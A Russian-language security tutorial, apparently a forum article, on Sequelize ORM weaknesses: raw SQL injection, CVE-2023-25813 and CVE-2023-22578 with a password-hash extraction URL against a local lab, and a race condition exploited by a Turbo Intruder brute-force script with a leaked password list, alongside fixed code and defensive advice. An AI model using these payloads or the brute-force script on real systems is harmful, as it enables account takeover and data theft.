В первом варианте, речь идет больше о классических SQL-инъекциях, по причине того, что разработчик решил “забивать гвозди микроскопом”... использовать, вместо динамической генерации запросов, прямое исполнение SQL. Это может показаться невозможным, но подобное поведение не редкость. Причины разные, от банальной лени, до непонимания используемого ORM. Особенно сегодня, когда курсов программистов больше чем самих программистов. Мне попадались в руки разные проекты, в которых, что джуны, что фрилансеры, писали такое от чего волосы дыбом встанут. Им главное денежку в карман положить, а потом “хоть трава не расти”.
Собственно, особо останавливаться на этом нет смысла, информации об SQLi полно и большинство окуневодов и маповодов вообще не заметят разницу. Пример подобной халатности мог бы быть таким:
JavaScript:
sequelize.query(`SELECT * FROM users WHERE id = ${id}`).then(records => {
console.log(records);
}).catch(error => {
console.error('Error with query:', error);
});
Как водится в подобных статьях, пример кода “получше”.
JavaScript:
Users.findOne({ where: { login}})
Даже без какой-то серьезной очистки, SQL уже будет представлять собой гораздо более безопасный вариант. Если закинуть классический пэйлоад “' or '1' = '1” получим:
Но давайте перейдем к чему-то более интересному. Приведу примеры, когда само наличие абстракции может создавать риски.
Sequelize CVE-2023-25813
В версиях Sequelize до 6.19.1 есть большая проблема, которая проявляется при работе с заменами. Если точнее, при совместном использовании “where”, “literal” и “replacements”. Здесь мне сложно судить, это все же ошибка разработчиков ORM или программистов использующих библиотеку. По идее, при использовании literal, разработчик должен понимать, что происходит практически сырой SQL-запрос. С другой стороны, Sequelize признали уязвимость и поправили.Да, это проблема не последних версий, но далеко не всегда у разработчиков есть возможность поддерживать актуальные версии библиотек и фреймворков. Достаточно часто, чтобы обновить версию пакета, нужно переписать крайне большой или чувствительный участок кода. В подобных случаях, проблема может быть отложена в дальний ящик. Сам проходил через это и не раз. Бывает проект настолько обрастает кодом, что годами о потенциальной проблеме никто не вспоминает.
JavaScript:
router.get('/search/:lastName/:email', async (req, res) => {
try {
const {lastName, email} = req.params
console.log(email)
const users = await Users.findAll({
where: or(
literal('dmetaphone("lastName") = dmetaphone(:lastName)'),
{ email: email },
),
replacements: { lastName },
})
console.log(users)
return res.status(200).send(users)
} catch (e) {
console.log(e)
res.status(500).send(e)
}
})
Что не так с кодом? В данном случае, произойдет частичное экранирование. Параметр email передается правильным способом, представляя для where готовый объект. А вот та часть, которая через replacements попадет в literal, после чего полетит в запрос — пройдет так, будто мы сделали прямую подстановку.
const users = await Users.findAll({
where: or(
literal('dmetaphone("lastName") = dmetaphone(${lastName})'),
{ email: email },
),
replacements: { lastName },
})
Все дело в том, что literal не знает о предстоящей замене.
Попытаемся пропихнуть инъекцию через email, нас ждет провал.
В логе видно, что ORM отработала и экранировала одинарную кавычку:
А вот с инъекцией в lastName, уязвимость проявит себя во всей красе:
Что забавно, в логах нам сообщают об успешном экранировании))) При этом результат, как видно на скрине выше, мы получили.
Как исправить? Если нет возможности обновить версию ORM, то очищать любой ввод, либо переписать запрос так чтобы правильно отрабатывала очистка Sequelize ORM.
Если пример не заработал, скорее всего не установлено расширение Postgre “fuzzystrmatch”. Смотрите часть про создание лаборатории.
CVE-2023-22578
Данная уязвимость критическая, но возникнуть может в довольно своеобразных ситуациях. На просторах интернет, можно встретить её в таком варианте:
JavaScript:
Users.findAll({
attributes: [
'foo', ['count(id)', 'count'], 'bar'
]
});
Смысл в том, что мы указываем список полей которые будут участвовать в выборке. В примере выше, Sequelize конвертирует функцию в запрос:
SQL:
'SELECT foo, count(id) as count, bar FROM users'
При этом, до версии 6.28, происходила прямая подстановка значений. Т.е., мы можем спокойно вмешаться в запрос, заставив Sequelize выполнить практически что угодно.
Но, здесь стоит отдать должное разработчикам Sequelize. Они достаточно неплохо среагировали. В шестой версии их движка, по-умолчанию отключена возможность использовать в attributes небезопасные конструкции. Причем, заглушка работает на любом релизе... Например, попробуем выполнить такой запрос к нашей лабе:
Код:
http://127.0.0.1:5000/users/vuln2/count(id)/email
В ответ прилетит пустой объект, а в консоли выскочит такое предупреждение:
Если вы считаете, что это поведение Sequelize делает уязвимость невозможной… вы сильно недооцениваете программистов))) Команда Sequelize оставила возможность включить небезопасное поведение и его много кто включил… Мы тоже включим, для этого в папке config файл database.js приведем к виду:
JavaScript:
const Sequelize = require('sequelize')
const sequelize = new Sequelize('test_db', 'postgres', 'postgres', {
host: 'host.docker.internal',
dialect: 'postgres',
// operatorAliases: false,
pool: {
max: 5,
min: 0,
acquire: 30000,
idle: 10000
},
attributeBehavior: 'unsafe-legacy'
})
module.exports = sequelize
Повторим запрос и получим нужный результат:
Теперь можем попробовать, например, получить хэш пароля:
http://127.0.0.1:5000/users/vuln2/(SELECT password FROM users)/count
Race Conditions
Данная уязвимость не относится напрямую к Sequelize. Это демонстрация, что корявое использование ORM ведет не только к SQL Injection, но и к другим уязвимостям. Разберем пример с Race Condition, который может возникнуть из-за игнорирования транзакций.Проблема называется как “аномалия сериализации”. Если дословно, то “аномалия сериализации” возникает, когда группы одновременно выполненных транзакций не могут быть корректно выполнены, если они выполняются последовательно без перекрытия. По человечески, возникает условия гонки.
Для понимания сделал инфографику по тестовому приложению. Это будет приложение авторизации с временным ограничением при превышении лимита попыток. Простенькая защита от брутфорса.
Это первая схема уязвимого приложения. Допустим у нас выделено десять попыток ввести пароль, после которых возможность авторизации блокируется на какое-то время. Если мы отправим одновременно 10-20 запросов авторизации, обращения к базе данных также произойдут почти одномоментно. Соответственно, из-за плотного потока и минимальных таймингов, большая часть потоков вытащит из базы данных одно и то же значени, увеличит его на 1 и снова запишут в базу одно и тоже значение.
Давайте посмотрим на код авторизации в приложении:
JavaScript:
router.post('/login', async (req, res) => {
try {
let {login, password} = req.body
const user = await Users.findOne({ where: { login}})
if (!user)
return res.status(401).send('Incorrect login')
if (user.accountLockedUntil && user.accountLockedUntil > new Date()) {
const remainingTime = Math.ceil((user.accountLockedUntil - new Date()) / 1000 / 60);
return res.status(403).send({'error': `Account locked. Try again in ${remainingTime} minutes.`});
}
const isMatched = await user.comparePassword(password)
if (!isMatched) {
user.failedLoginAttempts += 1;
if (user.failedLoginAttempts >= 10) {
user.accountLockedUntil = new Date(Date.now() + 15 * 60 * 1000);
await user.save();
return res.status(403).send('Too many failed attempts. Account locked for 15 minutes.');
}
await user.save();
return res.status(401).send('Incorrect password');
}
user.failedLoginAttempts = 0;
user.accountLockedUntil = null;
await user.save();
const token = await user.jwtToken()
const options = {
httpOnly: true
}
return res.status(200).cookie('token', token, options).json({message: "Login successful", token})
} catch(err) {
res.status(500).send('Login error')
}
})
Выполняя запросы через Postman мы получаем корректный результат. При превышении количества попыток, прилетает ошибка:
Но давайте подключим мощную мощь в виде Burp Suite и бахнем пачкой запросов. Попробуем подобрать Турбо Интрудером пароль. К слову, чтобы подобрать пароль, хватит списка слов adobe100 из SecLists, папка Leaked-Databases.
Берем наш запрос и перекидываем в Turbo Intruder:
Код для интрудера:
Python:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=10,
requestsPerConnection=100,
pipeline=False)
for password in open('E:\\SecLists\\Passwords\\Leaked-Databases\\adobe100.txt'):
engine.queue(target.req, password.rstrip())
def handleResponse(req, interesting):
if 'Login successful' in req.response:
table.add(req)
Запускаем атаку и на 26-й итерации получаем наш пароль. Обратите внимание, на 26-й при ограничении в 10 ошибок, значит Race Condition отработал.
Если глянуть в базу, мы увидим, что даже не добрались до лимита попыток…
Как исправить ситуацию? Довольно не сложно. Схема с альтернативным вариантом, выглядела бы как-то так:
Все, что нам нужно, это добавть создание транзакции перед любыми операциями.
JavaScript:
router.post('/login-save', async (req, res) => {
const transaction = await Sequelize.transaction()
try {
const { login, password } = req.body
const user = await Users.findOne({
where: { login },
transaction,
lock: transaction.LOCK.UPDATE,
})
if (!user) {
await transaction.rollback()
return res.status(401).send({'error': 'Incorrect login'})
}
if (user.accountLockedUntil && user.accountLockedUntil > new Date()) {
const remainingTime = Math.ceil((user.accountLockedUntil - new Date()) / 1000 / 60)
await transaction.rollback()
return res.status(403).send({'error': `Account locked. Try again in ${remainingTime} minutes.`})
}
const isMatched = await user.comparePassword(password)
if (!isMatched) {
user.failedLoginAttempts += 1;
if (user.failedLoginAttempts >= 10) {
user.accountLockedUntil = new Date(Date.now() + 15 * 60 * 1000)
}
await user.save({ transaction })
await transaction.commit()
return res.status(401).send({'error': 'Incorrect password'})
}
user.failedLoginAttempts = 0
user.accountLockedUntil = null
await user.save({ transaction })
await transaction.commit()
const token = await user.jwtToken()
const options = {
httpOnly: true,
};
return res.status(200).cookie('token', token, options).json({ message: "Login successful", token })
} catch (err) {
await transaction.rollback()
console.error(err)
res.status(500).send({'error': 'Login error'})
}
})
Результат очевидный:
Способы защиты
Честно сказать, в большинстве случаев, подобный раздел больше похож на “делай как надо, как не надо не делай”. Но другого у меня для вас нет. Вот простой алгоритм избежать проблем:- Избегай запросов с прямыми подстановками. Какой бы крутой ORM не было, дурак и лентяй сам наделает в ней дыр.
- Используй, по возможности, самые последние версии пакетов. Это не защитит от того, что разработчики ORM что-то перехимичили, но спасет от искателей известных CVE и автоматических тестов.
- Если нельзя использовать новое ПО, перед сдачей кода в продакшен гугли уязвимости. Простой “sequelize 6.20 vulnerabilities” способен дать множество информации. Ну а тщательный поиск по всяким exploit-db, да и просто на гите, избавит от 99% проблем.
- Тестируй свой код. Возьми каждое взаимодействие с БД и попробуй обойти его. Не хватает знаний, найди максимум wordlists с инъекциями и напиши несложный код для автоматического тестирования. Останется только пробежаться по ответам в поисках неожиданных вариантов
- Не ленись написать фильтрацию ввода перед каждым взаимодействием с базой. Проверяй даже те данные, которые получаешь из доверенных источников. Не полагайся на “непробиваемую” защиту инструментов.
- Не забывай про транзакции
- Постоянно анализируй логи. Если честно, я периодически охреневаю от того, что можно найти в логах… копаясь в разных таргетах, можно увидеть тысячи попыток от коллег. А иной раз, натыкался на неожиданные для себя векторы атак, которые сам бы никогда не нашел))))
Выводы
«Не боги горшки обжигают» - вот, что приходит на ум, когда речь заходит о безопасности каких-то библиотек. Инструментарий по типу ORM призван делать код более безопасным, масштабируемым и эффективным. Но достаточно часто, подобные системы становятся источником проблем. ORM это дополнительный слой абстракции, в котором есть своя логика, свои обработки процессов, т.е. достаточно объемный кусок кода. Этот код точно так же может быть уязвимым, особенно если программист использует его неожиданным способом. А программисты… поверьте, что только не придумают, какого бреда не напишут. Вот, например, скрин:
Мы видим, что в продакшене не билд, а сорцы. Плюс прямо на ходу что-то отправлено разработчиком в комментарии. Это говорит о том, что все собиралось на коленке и не проводилось какое-то тестирование. Причем, это довольно известный и масштабный ресурс. На него льется большой объем трафика с Google Adwords, закуплены тысячи крутых ссылок… Если подобное можно встретить в продакшене сайтов, которые достаточно серьезно продвигаются, вряд ли стоит удивляться наличию хоть каких-то ошибок в коде. Тем более, когда они связаны с изоляцией запросов в критически важных моментах кода.
Исследователю же напомню, что стоит обращать внимание на то какие именно технологии и пакеты используются приложением. Задача хацкера, за минимальное количество запросов понять какие могут быть векторы атаки, а после их эффективно реализовать.
Как запустить проект
1. Зайдите в разархивированную папку и запустите "npm i"2. После установки, запустите "docker compose up"
3. Откройте Docker Desktop и установите расширение как описано в разделе про создание лабы
4. Создайте таблицу users. SQL лежит в init.sql
5. Теперь приложение готов, осталось добавить пару пользователей и начать тесты. Все необходимые запросы в файле postman-collection.json. Это экспортированная коллекция.